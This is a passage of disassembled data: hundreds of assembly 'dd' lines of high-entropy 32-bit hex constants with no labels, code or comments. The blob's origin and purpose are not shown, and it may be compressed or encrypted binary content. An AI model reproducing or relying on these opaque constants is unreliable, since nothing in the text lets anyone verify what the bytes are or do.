		dd 91807F88h, 17697680h, 0C8B70014h, 0F8F6476Eh, 98407AE1h
		dd 0D1B50236h, 603B03F3h, 8E7B1C4Bh, 116ADB30h,	3303C83h
		dd 0D190F848h, 930E036h, 4A32112h, 0DA460030h, 0B9C0FE2Ah
		dd 990C0825h, 0D8D889FCh, 338D3434h, 48B4309Eh,	72233F2Ah
		dd 0C01184h, 0B82A812Bh, 31343BF1h, 0AD48DA52h,	60218AF7h
		dd 6B94B030h, 51FE005Ch, 0CCD71B27h, 0F4721FF2h, 342505A2h
		dd 96CC0166h, 9C1A3151h, 0DD409320h, 584565DBh,	19EA8067h
		dd 8C941228h, 437BE9F9h, 1CB32B8h, 817E04BFh, 0B1F430h
		dd 3149F733h, 5989B38Ch, 0D947D066h, 88A0B548h,	17C6C003h
		dd 0CF46B884h, 0FA008B22h, 3E3F17AEh, 480DF729h, 4A1231D6h
		dd 5354228Eh, 2AE9A0B3h, 54E6A93Dh, 2A8325C0h, 3E4E00C1h
		dd 8898D948h, 0F415FF5Eh, 35987FB9h, 140EE858h,	753F0041h
		dd 1277B26Bh, 42C651F8h, 0C372D210h, 6E210C60h,	18628080h
		dd 209A8651h, 0E270508Eh, 1628D378h, 27E25056h,	0AC406428h
		dd 7219F808h, 0B56C03A0h, 18506B18h, 0D8CBB34h,	0F84E303Eh
		dd 69344C50h, 7C06A588h, 6B230030h, 0D02DBE84h,	80615570h
		dd 99215398h, 49DCD1A0h, 0BC809483h, 0B34DAB76h, 9441448Ch
		dd 2976B502h, 96B4F42Ch, 0A8340390h, 0C5918F81h, 30AA04FCh
		dd 87676A00h, 70919270h, 0B718FD79h, 20106D02h,	48350F49h
		dd 0F0E27D04h, 0D9241214h, 0AE9C04E9h, 2A4D30ACh, 87727A34h
		dd 0C00B612h, 165038F2h, 0FE1CA0CAh, 3361C1B7h,	0FB56C9E2h
		dd 3684C012h, 58A4441Dh, 0AC800111h, 0DFB88E17h, 0F4C5448Ch
		dd 0E5165400h, 8483D134h, 7CFE2AC2h, 0FAAC30A8h, 44D1C79h
		dd 0C4A23A00h, 0E8D936BDh, 3C500ADh, 8627B4CBh,	4B11C147h
		dd 0B80435E7h, 87D64D94h, 83B7A0F8h, 0EA514A55h, 0C968B710h
		dd 3DD74B80h, 11D260FCh, 0B0C2B504h, 49BF3E14h,	96F312F8h
		dd 6D23343Ah, 0F8124C00h, 3221488h, 0FCA08758h,	9804C4D9h
		dd 8AA14ECFh, 55163C91h, 6CB448h, 34D2DC45h, 9D94E23Bh
		dd 0BC04594Ch, 8008CC4h, 72352032h, 9075ECBDh, 495B2A98h
		dd 79B700B0h, 53D756F0h, 4B0318CDh, 0ADDC6950h,	8890FFBh
		dd 0EB20F4CFh, 0AF6B4ABFh, 6F814F00h, 1F15F07Ch, 984B59D3h
		dd 62197D1Fh, 48F75122h, 0FDBC3C93h, 7B91058Ch,	0AB8AFC5Ah
		dd 0B83C7F87h, 0B178FC53h, 33982088h, 546967CBh, 23D42843h
		dd 303D01B4h, 1808F849h, 5A08868h, 6E5B3007h, 97021DCh
		dd 62FA235h, 0D89CB92Bh, 0E7FC297Bh, 8308C800h,	0C020BA0Ch
		dd 514B266Dh, 0C0B9941Ch, 7480D824h, 0F01C446h,	7B6DDCB5h
		dd 5017CF29h, 60205842h, 7DC0B76Ch, 0C844012Eh,	0FF97038Eh
		dd 305EC188h, 0F304A628h, 0BC3B50A5h, 48D77490h, 0F2A4F0ABh
		dd 0FE9A0192h, 6C4B9353h, 3280238Dh, 44AD6143h,	784F00B4h
		dd 0E2E1EFD6h, 7500A32Fh, 8B71EE67h, 63B52E8h, 0CF16E0CDh
		dd 851E31EDh, 0FDD2E4BEh, 0FC8B681Fh, 0A88C8253h, 1C90C0ACh
		dd 35D30233h, 697CB7D2h, 1E303200h, 9C77C74h, 6C87F6F0h
		dd 0D6EAFC01h, 9AE00065h, 0B4A00B0h, 359F1803h,	6B58F078h
		dd 0BA1FDDDCh, 9404190Fh, 8C12E8F8h, 6F97DA03h,	0D03E689Eh
		dd 1678280Fh, 228AF251h, 68EA3D30h, 1BB3035h, 0A4DF13C2h
		dd 0A1D46124h, 0C6FE2E34h, 0FF49140h, 9EC437A3h, 7680BB5Dh
		dd 945E56C3h, 96F904E2h, 0A659BF53h, 9332B0A0h,	480CFC08h
		dd 0E28760D9h, 801F9704h, 0C339F8A7h, 0BC88062Ch, 9D9F2409h
		dd 808E1130h, 0EFBF0E14h, 4BE60023h, 39B74E74h,	88949279h
		dd 1C3465Ch, 0EF0057Bh,	2430BCF9h, 306A2057h, 984B691Fh
		dd 0D09E2E0Ah, 0AAFE40Bh, 449F6098h, 0D58EB544h, 8C863CA4h
		dd 53303B05h, 0D86258F8h, 3BE206Ch, 0EE010B30h,	5E23415Dh
		dd 0DCC88E15h, 181258C4h, 5ABB680h, 530C134Ah, 19C30F3Bh
		dd 0B4BB00A8h, 0DF0B0897h, 31EC5BB2h, 0B185F600h, 0C1945741h
		dd 76C241Fh, 438A007Eh,	0A1EEF9F8h, 0BC5FC8D6h,	0FDEFCECh
		dd 94934369h, 41C70C04h, 0C3B2AB41h, 786C2530h,	0BEAA009Dh
		dd 6B81EB85h, 0B77AA49Eh, 5027CF0Ch, 0B0939477h, 4A1C9278h
		dd 4885372h, 138A3480h,	0D6FB9044h, 4090C50h, 0A491B8F4h
		dd 1C847258h, 2540A2D8h, 7BAFFD2h, 0EFDE3FD0h, 4D5B4C80h
		dd 61790ACDh, 4CC49A2Eh, 0FCA51FDEh, 0EE1F84BFh, 0EDA88207h
		dd 0E29BCA20h, 48340112h, 0B1F4354Ch, 0AA1BE79h, 0BC99FA51h
		dd 67B4FE06h, 1FD90019h, 0DBC0BB0Eh, 0E43BB934h, 0AD44819h
		dd 883C714Bh, 10C9FB45h, 24D23461h, 0F274B245h,	85933069h
		dd 3D0CCE18h, 0E25549h,	0DD2371B1h, 73A4AADAh, 78C7C912h
		dd 3795B18h, 55AE046Dh,	0C03779C0h, 0E33DD000h,	0ABF84CA3h
		dd 20B06A68h, 4E0CBF3Eh, 0AD480842h, 0CE1F046Eh, 0C06B8868h
		dd 0D873B086h, 0ADC3200Ah, 5180B8F2h, 0EB2288C2h, 290E3E43h
		dd 55D9F980h, 360F4405h, 0FC388706h, 88D5C1h, 0F6E2EA32h
		dd 0CFB08BADh, 0F549C0D8h, 16FE2C3Dh, 783481E8h, 70CD6C25h
		dd 1216E380h, 6004514Dh, 0D846C57Eh, 6F00A113h,	0CBF16EDCh
		dd 5B2C24h, 9A315572h, 0C611D495h, 0B50B5306h, 0E3162D8h
		dd 19DD3D91h, 0FA1D640h, 1624884Dh, 0B70E78C3h,	8265C081h
		dd 1F7D0D4Bh, 1E508340h, 4D9301BDh, 6385D1A6h, 0BBCC07F8h
		dd 0E0BD79E4h, 16B18842h
		dd 1D5DD03h, 9078726Bh,	1C3D94h, 81A4DA84h, 0F721EA3Eh
		dd 6064952Eh, 0EE519882h, 7854409Bh, 5A322CB5h,	0D1342944h
		dd 3B40186Ch, 4E00578Fh, 93EA8C62h, 46184D92h, 2AC87919h
		dd 0F430E966h, 0C4D0EC34h, 0A48BA1C8h, 94199BE8h, 0EF18F41Dh
		dd 0A822B5D1h, 32C19804h, 29E4059Dh, 16F0CC18h,	3A952556h
		dd 0C191001Dh, 1096E8Bh, 0AE4FC868h, 2621F860h,	775E1C1Fh
		dd 25A4005Bh, 740B56FFh, 6C266D7Bh, 4F096841h, 502C82EAh
		dd 2A4B18B3h, 0FC723E10h, 2A8024E0h, 0C2831A05h, 0DC5448F9h
		dd 0A3A2238h, 0FC7194B8h, 34182584h, 16203438h,	0EB550CD9h
		dd 13B98797h, 8C692098h, 5B084C9h, 8217A860h, 96BFB825h
		dd 250F28Ch, 7A744016h,	4C08B74Dh, 0F1607824h, 92373CDh
		dd 4E2592A6h, 48372009h, 4499288Eh, 6C94BF1Fh, 8FF23CE2h
		dd 5003A530h, 0E9EAE47h, 0B0E65F1Dh, 8CCAE122h,	80751440h
		dd 16C85548h, 2C0EC053h, 0BF3E8552h, 0F08C3885h, 10CF0BA5h
		dd 342AB760h, 0E85194CCh, 0D41BB589h, 55840800h, 50A5AC0Dh
		dd 773C03ADh, 2351FCB9h, 79D80A85h, 20EDC3E4h, 76C91803h
		dd 0C880CC6Fh, 1F55C352h, 0C0BDF837h, 0E38C68D9h, 0C01CB2A2h
		dd 0AC296435h, 0F11868D1h, 0FE70AB71h, 0FFADC619h, 0F8207EC1h
		dd 3F760043h, 8CCD9277h, 0B9262F46h, 3A01A053h,	8BDED59Ch
		dd 4C8AC38h, 0BF17ABC0h, 22A746B8h, 53F30F88h, 0CCA01216h
		dd 4B2E0646h, 60A4C551h, 4F07A4BAh, 0A3F43635h,	0B9890580h
		dd 7431F13Dh, 0B0239825h, 78E97B77h, 9EE600EEh,	7AA8B4C5h
		dd 4E768D32h, 0FC09D50h, 14793B61h, 34C044DFh, 82DD26E8h
		dd 9989429Ch, 0D4BC0209h, 3FA4B0BAh, 0F84F0830h, 6E64D338h
		dd 3007AA40h, 680C0561h, 1964D898h, 77CA005Bh, 0AEC9CFD2h
		dd 98B41370h, 52800791h, 0AFB88816h, 0F60094A7h, 0E24E165Ah
		dd 12470058h, 73663626h, 50C71735h, 0A6F11CE7h,	108BB00Dh
		dd 0C906E02Eh, 0C31D419Ah, 9C2E5316h, 49B08580h, 4F804AB4h
		dd 6D6020F2h, 4006BFDh,	0A3D2B858h, 37A4EF8h, 0B09EAEF5h
		dd 8C8DF49Ah, 0A704BDF4h, 343BFE0Bh, 0E7309487h, 3C326B7Bh
		dd 0C426D278h, 0C53CC4h, 0D35D5FE8h, 5102CF0Ah,	1B803C53h
		dd 0D116730h, 0E18D071Fh, 0F021F44Dh, 2636816Bh, 930BA579h
		dd 4685672Eh, 768E1F74h, 88E391C1h, 8792807Eh, 9C993976h
		dd 0EE4A2C0Eh, 0DCE28A73h, 10089E17h, 98E880F6h, 479581ACh
		dd 41455830h, 3AF38F1h,	0D9AB9209h, 4FB2D6E5h, 0FB021B40h
		dd 0B735EB06h, 1CE17DD8h, 92E26364h, 36CB0058h,	346CD101h
		dd 642F875Eh, 4A024223h, 51BD50E5h, 60072F20h, 0DB9E5828h
		dd 585055h, 6D3A2C2h, 84A909h, 72DF74B0h, 4BDE67E6h, 764DED17h
		dd 6A53B021h, 4F9A8440h, 176B78E8h, 812DCA66h, 396CEA18h
		dd 2163002Ch, 0CA23A1EDh, 91E1EA6h, 592D0F81h, 0C2B15EE4h
		dd 90E4CCB4h, 4116500h,	6887F478h, 60BC55B4h, 4037B093h
		dd 0BBE245DCh, 3960B572h, 0E314E769h, 0D38D0137h, 66AEFFE0h
		dd 0D9EA60A4h, 729E8E07h, 38976B07h, 0BA01C07Eh, 1CE2014h
		dd 0BEA7671Fh, 0D00DCF3Ch, 0EF07E329h, 96A8D054h, 0F2202B01h
		dd 95B4E0h, 0A7E055B5h,	8B6187B3h, 0BADEE701h, 5606200Ch
		dd 0D52B0680h, 25BF3BDCh, 0C0A71600h, 49AACFD9h, 0E08400B2h
		dd 3157C1C2h, 52716634h, 1E18A258h, 4244D0Ch, 2F4B143Dh
		dd 8C78BCF8h, 1D103A1Fh, 47AAF000h, 0E24E58F9h,	0D8695045h
		dd 29942C3Bh, 76CF8508h, 9BCCE019h, 8F91FC2Dh, 31040020h
		dd 0BAC10A0Ch, 3B7B2200h, 0D5FCC218h, 9F1DD91h,	374520B7h
		dd 6D441CE7h, 388DA067h, 8517EC4Ah, 0EBC2D85Dh,	39249080h
		dd 0F84D1330h, 40CB28h,	993001A4h, 0FE262982h, 0DBF202ADh
		dd 0C75634BBh, 0BFF4C201h, 6004E472h, 5C36651h,	382E1C97h
		dd 1D0E6923h, 0B0F9E3ACh, 58191517h, 4000C444h,	3F0FEB9Bh
		dd 620F6E70h, 49A58EACh, 828009BDh, 0C73607E1h,	606B44B0h
		dd 40AA983h, 0C1B04715h, 1F1C97A2h, 48582809h, 0F6516A0Bh
		dd 5A80E9A3h, 2A094918h, 0E54C7238h, 8639BF4Ch,	65746F00h
		dd 5F4C3BB6h, 703CCDFCh, 1448C1h, 8A13E254h, 0B919F845h
		dd 0B9580074h, 3C231ECh, 14083099h, 0BEE20971h,	0AB128067h
		dd 0C26C3C91h, 0C1E25310h, 58CD827Ch, 34F16872h, 7EC45430h
		dd 0EB29C012h, 0F33E8864h, 0FFA66B1Eh, 678D53C7h, 0A9245A21h
		dd 91005C3Ch, 77362ABEh, 4D4F16E5h, 0E7BCB022h,	60C5E4FCh
		dd 500DA8EBh, 3116F68Fh, 0FED9C64Ch, 844E2BDh, 974F44h
		dd 0C5DCC356h, 5B943C76h, 24C695Ch, 1650364Eh, 7ECDA54h
		dd 0DDB56897h, 5424CB8Bh, 76BF6080h, 0BB4D25A8h, 95815C65h
		dd 7D2B76B4h, 3BEBD8D8h, 58183803h, 0B19841CDh,	142B4B02h
		dd 51935797h, 0E417AD08h, 0A3808991h, 7B17C72h,	0BFA63B00h
		dd 85662867h, 0EF6F7CD3h, 64454825h, 6FA228E3h,	5E5A30h
		dd 94D6F216h, 0C3EB3193h, 0BFF3D80Bh, 0C0F0C170h, 6F50012Ah
		dd 34F148CDh, 0E4257474h, 0D48060E1h, 0A3B51D36h, 53BD1ECh
		dd 39523E33h, 0C78B5497h, 60C0C4E0h, 5CC36C9Bh,	4B8568E0h
		dd 2B2CA4EAh, 732E6EEEh, 5393B07Dh, 6D23383Ah, 0BC395707h
		dd 40AE93A2h, 3BE34ADEh, 582FC3A3h, 14F170A0h, 0FC0096C5h
		dd 87A56183h, 4FD7A8Fh,	380FF235h, 25A482CCh, 0B4D10842h
		dd 0BE18C779h, 30E27226h, 0F8B7EC60h, 0BDC4A16Dh, 41A25823h
		dd 1EF9030h, 0D1D55C6Bh, 6424B7CCh, 0E1189828h,	6A68934Ah
		dd 4DC30571h, 647D4Eh, 0A7AB3A4h, 9C095AB6h, 175E4135h
		dd 808F9160h, 237C62C9h, 999B0008h, 487D35B5h, 251072EAh
		dd 805C6828h, 0B43E9623h, 0B08E1031h, 62C0FC88h, 12BD514Bh
		dd 0B4DBF369h, 0F900849Ch, 124D857Ah, 736BFA7h,	93619F97h
		dd 90909934h, 0A0006BD0h, 73859E54h, 0BE6A431h,	0DD5EACD3h
		dd 4500B4C4h, 70057DD5h, 1F434F2Fh, 0C0A77476h,	80B37393h
		dd 6CBE838Bh, 7896C2C3h, 0B43CF889h, 3E9140h, 6A35C353h
		dd 9D67F4B5h, 0B0918420h, 6804AB5Dh, 0C549FCBCh, 782D40ACh
		dd 0C056F492h, 0C24656h, 9AE1B903h, 18C13781h, 21FEAE4Ah
		dd 2B00B038h, 0A3BF057Ch, 0B18F30Bh, 16F9EE2Ch,	8D68480Eh
		dd 2400B516h, 39BEBDA3h, 0B88A073Fh, 0D46F7067h, 5EA4B82Ch
		dd 5585DC30h, 96BA31E2h, 0C2643630h, 8C009C66h,	53606B72h
		dd 17CEDE42h, 122D7AADh, 804405D4h, 9C280467h, 9C0C0A6Fh
		dd 9D111740h, 93AF00E7h, 0BDF99BE3h, 0D8588704h, 78538014h
		dd 9280908Bh, 760B0741h, 9BD5EE66h, 0ACFBBF04h,	0F850B0D4h
		dd 2BD103D0h, 3327DBC7h, 17597127h, 81C5119Ch, 7310D37h
		dd 0F7687C20h, 0C07A5802h, 0A09E9C00h, 0D3E7878Dh, 32C6FEAEh
		dd 5880E249h, 0C771F479h, 0BC041A18h, 8F46C178h, 5C0840A9h
		dd 87913743h, 52303A80h, 909920F8h, 3002B9C0h, 0DCC6000Eh
		dd 3BD22059h, 8469B893h, 466C7021h, 7689028Ah, 51EB4DC6h
		dd 869360A4h, 92004276h, 0DBD00D10h, 0B0997265h, 458A7998h
		dd 0A8703D81h, 0E6CC019Fh, 0ECBE8722h, 1258782Dh, 7040F9ADh
		dd 0E0B0B3C6h, 685000A7h, 869E227h, 60F07236h, 63F08098h
		dd 8A61DB81h, 0BF8FBC69h, 0FF2F26A0h, 0EB3EDFA8h, 9E15000Fh
		dd 3F7F8AD4h, 0B211012Ch, 414B6C53h, 0B9488616h, 341ADD2h
		dd 5CB088D4h, 7E905D04h, 85019F18h, 6CE546B7h, 0D0406AA4h
		dd 0CFF2063h
		dd 0CE71E4B9h, 675F12C0h, 92CA3804h, 8000370Bh,	0B34147DBh
		dd 665268C0h, 5B1635E2h, 29F404D7h, 0C85300F7h,	0A0070276h
		dd 276682ACh, 1440A6C2h, 7F2477EAh, 0A03C4C35h,	32C33E7Dh
		dd 0FD86CE05h, 2028F512h, 0A7030F1Eh, 0F93C9D1Ah, 0BE91E717h
		dd 2F3AC03Ah, 43236Ch, 1231ECC2h, 725A4BC3h, 0F695A831h
		dd 76CFF885h, 5338D1E1h, 1439D8FCh, 0B0FEE0C7h,	64402959h
		dd 881009ACh, 0A780A33Ch, 191FFF69h, 87ECB1F8h,	0C9CAE902h
		dd 7A7F7CAEh, 10646ECh,	0B8BD17ADh, 68627757h, 1655F1C0h
		dd 10E20BFh, 87AB9CE1h,	0C390C8D5h, 49D0AECFh, 7C301C82h
		dd 2AE96799h, 0A5947503h, 0B15971A2h, 0A8604F50h, 64ED5CE7h
		dd 7F867011h, 896448A5h, 0AAD82863h, 967F3040h,	6FCF6E09h
		dd 24F8F054h, 5ECC2F07h, 7E3B7D46h, 772EA807h, 19D9E3A2h
		dd 1D48D112h, 380CA491h, 542C8985h, 6D91C0D9h, 0C32F40E0h
		dd 76781196h, 0F96FC208h, 8DEE8549h, 0DB2E4E6h,	9634EC40h
		dd 7E022170h, 0C0536205h, 0E8F2ADh, 0F166F414h,	43825F3Fh
		dd 0AB6B4804h, 4CA45C41h, 7DFC25B8h, 7613A481h,	28C468F9h
		dd 0E7365433h, 1290C14Ah, 0C2799825h, 507619B4h, 0CEC88349h
		dd 6E884FB8h, 4B03001Ch, 59FCBE6Bh, 0DB90C1CDh,	5015D90Bh
		dd 0A5444C94h, 0BB8C2500h, 850FBD21h, 0D0EC000Eh, 74C8EBA4h
		dd 84B879D4h, 0DB834818h, 9AC33C1h, 0FB11E55h, 0EAB9F801h
		dd 4DDC501Ch, 5600676h,	8CE4BF18h, 0F84498A3h, 41686070h
		dd 3014BA4Ch, 0BCC05E4Ch, 51038C8Bh, 0E7120D2Dh, 7455BA13h
		dd 0BAFE89FCh, 0C9B010E8h, 0BC9A8A20h, 0FD09DCE8h, 0C164BC6Ah
		dd 4066C380h, 950D02F0h, 7D481D00h, 35D59288h, 0D26D02F4h
		dd 0C0A21A55h, 219748C0h, 4C0CBB80h, 7E2FA92Eh,	40642089h
		dd 0B0265900h, 8D622A1Eh, 0CA601EBFh, 673C6C3Dh, 0F0A0DE2Bh
		dd 35ACCDA1h, 0BB746D17h, 9C403416h, 6266541Fh,	74BD9D64h
		dd 944FA381h, 0D067CB6Eh, 2000245Ch, 94391603h,	908BCF31h
		dd 0B01B07B5h, 0DDC30214h, 2DB6E96h, 0D5C0E8E3h, 0BC20BD6Ch
		dd 52391267h, 0BE34F0A6h, 0EA0CB812h, 34E4A0h, 4BCDCBE7h
		dd 2CC07AA9h, 0D80898F4h, 3912CAh, 0C48E5E65h, 0BD056F5Fh
		dd 0E003488Bh, 0A20F70C0h, 0B897093Bh, 0CC20EA34h, 7BA1A7DBh
		dd 0FC70E781h, 0EC1A400Dh, 0E228B725h, 2D345434h, 0F45FE090h
		dd 63046075h, 0B12DA0CDh, 0C9985301h, 1BA82CAAh, 0E491400Ch
		dd 9A80A4FCh, 54D09C49h, 4B473D04h, 0AC9A7836h,	0D219D11h
		dd 0B0CB0DE4h, 0B5B0AC46h, 18109C3Bh, 0CD849F31h, 796921D8h
		dd 1B9A438h, 725380h, 600BB76Ch, 0A46791D5h, 0F918F876h
		dd 1DE08852h, 7924B15Eh, 0E8B18C5h, 87110D61h, 80BCE2E7h
		dd 2302CB6Fh, 0C174C148h, 8977CC76h, 0E96DD0CFh, 572609CFh
		dd 0F0CBD196h, 686CB789h, 10EA0094h, 564B52F3h,	3EE435h
		dd 0C05098CAh, 0B9F820AFh, 0FABE0700h, 84C47B55h, 0C59006A2h
		dd 10748392h, 0C709BC10h, 0AE03AEC9h, 1106B5A6h, 0F7B990ABh
		dd 0C89EBD41h, 0D3D2D810h, 85888C4Fh, 0BC1326ECh, 201350ABh
		dd 7F00946Eh, 1BC014ADh, 0B53A2C22h, 0ADCD64Fh,	38F8CF16h
		dd 1E40B01Fh, 4BBCABF6h, 0C00100A1h, 16E531CFh,	5E5A3FE3h
		dd 0C723942Eh, 0EA0B5712h, 0CD0E94Ch, 8830403Ah, 0E29185BBh
		dd 0A1C08A00h, 42476E78h, 455B1271h, 0E268E292h, 75E530FDh
		dd 8389EE17h, 0CD3B3702h, 79C720Ch, 0A6932319h,	0D8C4F086h
		dd 0A00CA68h, 4E449946h, 90263076h, 3C17959Ch, 0AB85C791h
		dd 388D83C6h, 0BCF8A88Ch, 39138C14h, 0C0B234C1h, 43D9A41Fh
		dd 57C00C68h, 5FC1F1A2h, 851C2499h, 0C4072725h,	76D70020h
		dd 4AE6E0C7h, 8A013CC6h, 0AE810CBCh, 0CC3D7E07h, 0F53E16B8h
		dd 3C5C9387h, 0AD40D002h, 134C60FCh, 0CE305B6Ah, 0C17C88ACh
		dd 0D54947FDh, 7ECC30FBh, 38545700h, 0F02E37F7h, 0DFEA0153h
		dd 0C9E43DFFh, 602F67h,	625E8F7h, 39D084FEh, 6F989835h
		dd 0FDC31B13h, 4CFD8B4h, 19FC5137h, 934CD20Bh, 1CD6D07Ch
		dd 87EE7EFFh, 0E70979BEh, 3F219CACh, 55E55700h,	76844E61h
		dd 0A28B02ECh, 0FDC2B5AAh, 3A54F044h, 3007029Ch, 676F5851h
		dd 71C8A1C8h, 1C3F1878h, 505C44h, 0C689A07Dh, 2F0571DCh
		dd 56734B60h, 0CF461C8Ch, 0C9401B39h, 1068E085h, 9E7BFB00h
		dd 1DA86194h, 9227E27Ah, 42B14514h, 8F203B40h, 166873A0h
		dd 49F57B7h, 16D52264h,	6CC8608Bh, 0EF1C9CCFh, 815BC340h
		dd 16D8EE88h, 8C35E44Bh, 50498730h, 4A9F2078h, 0D2E87096h
		dd 0A106A0F8h, 97704D77h, 0ADA944C0h, 0EB80CCB6h, 0BB3C6B74h
		dd 39B40ED0h, 0A50FFAF2h, 6E1ADB20h, 0C909E125h, 6A500CD3h
		dd 0D6005E70h, 0D636F51Eh, 0D733807Bh, 0C343480Ch, 0C0707C4Bh
		dd 5C68029h, 2800BE91h,	72B68A3Dh, 0E3B7F96Ch, 16485824h
		dd 12E7AECAh, 0A2E8B3DCh, 0BBB833C6h, 84A8D10Ch, 0BF0096A1h
		dd 0E678353Bh, 4ED33648h, 0F99C4731h, 0C08ECE0Dh, 0E4C2A5C0h
		dd 4C916AF3h, 0E11843F1h, 89D34900h, 4A6CA4Fh, 8E815E27h
		dd 0C78988E4h, 0B6001903h, 34AB6F81h, 0E4BF6601h, 7E043632h
		dd 23842F7Eh, 47E8007Ch, 0DE491A40h, 22147A4Ch,	383448D2h
		dd 128A3C50h, 0A2055383h, 0CC540030h, 0FD04331h, 941F0077h
		dd 0DA3B19BAh, 0E603FFE4h, 0B465166Bh, 54C8A481h, 0A3FE2DD4h
		dd 7B4C9C10h, 2E0053ECh, 0B48FB310h, 3ADED40h, 954BBD3Ch
		dd 41E0BC34h, 0C20EBF23h, 808BBE26h, 2CD30860h,	8D3F2548h
		dd 2760E04Dh, 56A2315h,	16D65D0Ch, 0E6F48953h, 0A8007872h
		dd 0A733B868h, 5AA557B3h, 23BC2F97h, 0D9DF0017h, 162F954Dh
		dd 0B088544Ah, 0E4D15976h, 4F058C7Bh, 5C723A2Ah, 0B0C0A8F2h
		dd 6B362A84h, 26F85B01h, 43E0C265h, 0C150223Eh,	9CE4D825h
		dd 6B94059Bh, 0E3015696h, 0D13C171Ch, 0FDC8D08Bh, 803ADEC3h
		dd 151FC717h, 0F03D58E5h, 0E2714B12h, 962184h, 0E05384D8h
		dd 150004BEh, 508A2031h, 5A9151E2h, 0BF080074h,	24026185h
		dd 7268EB01h, 0ECFFE22Dh, 721CDFD0h, 0CC643028h, 314A8B20h
		dd 0CE0C330Eh, 2FC760F0h, 12EEC6BAh, 33C39DCh, 0BB53AD70h
		dd 0F8C1F590h, 2C7A8D00h, 7DA3908Eh, 0A86C000Ch, 0F4D8ECD6h
		dd 8C1ECD26h, 0F7012B7Ah, 5D63D403h, 0AAC16980h, 0B7D95360h
		dd 0E08FBF19h, 2180CD09h, 0EF60B2A1h, 0CA7880D2h, 9FFBC0C6h
		dd 0DC9E00C9h, 0F1075549h, 0D2007760h, 93C42214h, 0EF088Fh
		dd 506227B2h, 63FFDD0Ah, 6D59DF06h, 30419D95h, 11695764h
		dd 47F4D0ABh, 7EADCF01h, 6427A43Bh, 0BEE64440h,	96813C34h
		dd 0D04CE180h, 0AF9D1410h, 0B3ED5F00h, 0EC9F6728h, 239A061Eh
		dd 38767A61h, 8A0062EAh, 0CEF906D2h, 66835E2Fh,	215F08DFh
		dd 9DE2407Fh, 29E7F500h, 0C4BFF0C7h, 83B41658h,	299C189Eh
		dd 80A80F1Bh, 0A300719Ah, 0F70C12B1h, 17D1EA1h,	4D69FA7Fh
		dd 0CF648179h, 0B8A094A0h, 4F0134F6h, 9F6D6186h, 0D09E625Dh
		dd 0FBB005E9h, 2B844092h, 4893708h, 20580E03h, 0A3569E0Ch
		dd 512100A0h, 35D13710h, 0E5FC3A6Ah, 4E121892h,	28020361h
		dd 90FAC256h, 1E5B3FCCh, 39C56816h, 92339100h, 4111E089h
		dd 9EB5A00h, 0ECFB6256h, 65730001h, 59C9FA6Dh, 1830FF68h
		dd 642BE913h, 1FC0A8D6h, 0A56300BAh, 0B015AAB6h, 56309360h
		dd 0D68BD12Bh, 366F00C2h, 0A179455h, 65507825h,	1A67CBF8h
		dd 0C0003E51h, 4C796EBBh
		dd 0A0C7C55h, 49290445h, 0E33F8C00h, 0F5E29964h, 921F0231h
		dd 421EF17h, 197C2046h,	4620A3Ah, 0F556EC5Eh, 0A1557088h
		dd 918B3ACh, 48A3708h, 439FC416h, 0AF37114Ch, 0A16BE1B2h
		dd 0A1986DF4h, 0D364218Ch, 5A0F50E1h, 80692E1Bh, 97AB9320h
		dd 0AEC10044h, 77CB96FEh, 40DC2375h, 96EC040h, 0EB04873h
		dd 2C9C4EE6h, 8517FF40h, 0B5035C67h, 0F761C732h, 0B054CB2Ah
		dd 29B372h, 1FBDD8BEh, 0C7E98C0h, 0BBE0C81Fh, 5F18603Ch
		dd 2B856801h, 0C1204F64h, 70F5D75h, 6BC32261h, 0E80462E8h
		dd 3569880h, 0BA16FEE3h, 54E0BF6Fh, 0E3907741h,	68913E07h
		dd 5091D97Fh, 204A6BC4h, 17788162h, 0B8401428h,	1F3DBD5Dh
		dd 0E3372h, 2C094E1Dh, 33F12FCh, 0CB2100BFh, 0B81808F1h
		dd 9FC71470h, 89834F4h,	80A07F2Bh, 0C88D5B79h, 74007CA0h
		dd 25B89EEh, 0FC053F1Dh, 7AB1240h, 2B085F5Eh, 3647804h
		dd 0F9107061h, 60205AA2h, 0FAA3901Bh, 0E87B1302h, 0ECFC4017h
		dd 0F88E26CAh, 29596A32h, 95961079h, 0CBC12741h, 1256FB11h
		dd 129419CDh, 55811014h, 0C608E189h, 44A89144h,	534480C5h
		dd 444284B5h, 0FE08BC21h, 1FC99150h, 0ECC0D06Ah, 7E576641h
		dd 68750094h, 812EA58Eh, 2A007CA7h, 939F4395h, 29064Dh
		dd 0FD74E1E8h, 524FF559h, 4C0F11B0h, 0A0553E68h, 0FCE704FEh
		dd 0F3A00C8h, 0DCF2C285h, 0DB002FE3h, 2D5B47C6h, 48C4B73h
		dd 1283D317h, 18AB807Bh, 6800676Fh, 0B2A5316Bh,	0A4EDB3h
		dd 0F4BB7C1h, 0A1D56951h, 61BFD22Eh, 7203EE06h,	5DFF0030h
		dd 35313223h, 4C63E811h, 0C8571D19h, 0D90D86h, 0FEC3A413h
		dd 4CEBBD6h, 0EC0080E0h, 29AC6EF9h, 1499094h, 6D95B641h
		dd 20684885h, 0A112DDA4h, 0AC0076A8h, 0FA05240Fh, 808C1CF6h
		dd 6E9A4065h, 0ED4B0BB0h, 943F1A07h, 155037ECh,	2D7580Ch
		dd 4A9FAD54h, 284090B9h, 0FF032C8Ah, 8BC242F4h,	0E04EE06Ah
		dd 232F070Eh, 0C0E12BD0h, 86F8EABAh, 0F4DC63Ch,	40C77B05h
		dd 9AB584A1h, 5C2C006Fh, 9E976B12h, 0AE3ECCE4h,	787001B4h
		dd 986ECA08h, 9B74F0h, 0AC85B68Fh, 942A1C18h, 2E96D203h
		dd 0C00B500Eh, 1E7BFC20h, 8F7533E6h, 48E07087h,	4DCF4C46h
		dd 47018092h, 7672A1A4h, 0F3590Dh, 996A3089h, 7337EAEh
		dd 607747Bh, 0CE26F386h, 55B105Ch, 0E3D41EA6h, 3E800285h
		dd 400F8C0Dh, 0E62EBFF2h, 0A1C000EEh, 0B42CAB9Eh, 31C891Fh
		dd 159E9CD9h, 81CFE7C0h, 0E849406h, 411323A9h, 6E65D880h
		dd 0DB0047BFh, 0E2929B70h, 2FD4CFh, 5B675813h, 4091E612h
		dd 0D0FE8800h, 4179FC31h, 70A701A1h, 5D17390Ah,	3D288063h
		dd 931DF1F4h, 4C7F01E9h, 790221AAh, 8B6A308Dh, 0D7ADD100h
		dd 6182CDEDh, 0E8A579E7h, 4D4F4C65h, 81C42C0Fh,	0EDD69021h
		dd 4D76305Fh, 4203DFB8h, 13B570B9h, 6D84E059h, 65CCA099h
